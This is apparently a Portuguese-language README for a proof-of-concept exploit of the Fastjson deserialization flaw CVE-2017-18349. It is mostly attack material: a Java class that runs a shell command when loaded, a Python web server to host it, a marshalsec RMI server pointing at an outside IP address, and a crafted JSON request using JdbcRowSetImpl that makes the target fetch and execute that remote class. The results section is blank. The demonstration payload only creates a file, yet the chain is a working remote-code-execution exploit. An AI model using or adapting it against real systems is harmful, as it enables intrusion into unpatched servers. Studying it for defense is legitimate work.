h0cksr/fastjson--cve-2017-18349-Exploit de prova de conceito para a vulnerabilidade de desserialização Fastjson CVE-2017-18349, demonstrando execução remota de código através de payload JSON manipulado e servidor RMI.
Após configurar o projeto como um projeto Maven, execute (nota: usar uma versão alta do JDK pode falhar, recomenda-se usar o JDK versão 1.8.65) a função main de FastjsondemoApplication.java Arquivo TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/flag_test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Depois, compile para um arquivo .class usando o javac versão 8
javac TouchFile.java
Inicie um servidor web Python
python -m SimpleHTTPServer 80
Use o marshalsec para gerar um RMIServer
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999
Modifique o pacote de requisição
POST / HTTP/1.1
Host: 127.0.0.1:8080
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
"autoCommit":true
}
}
Resultado: 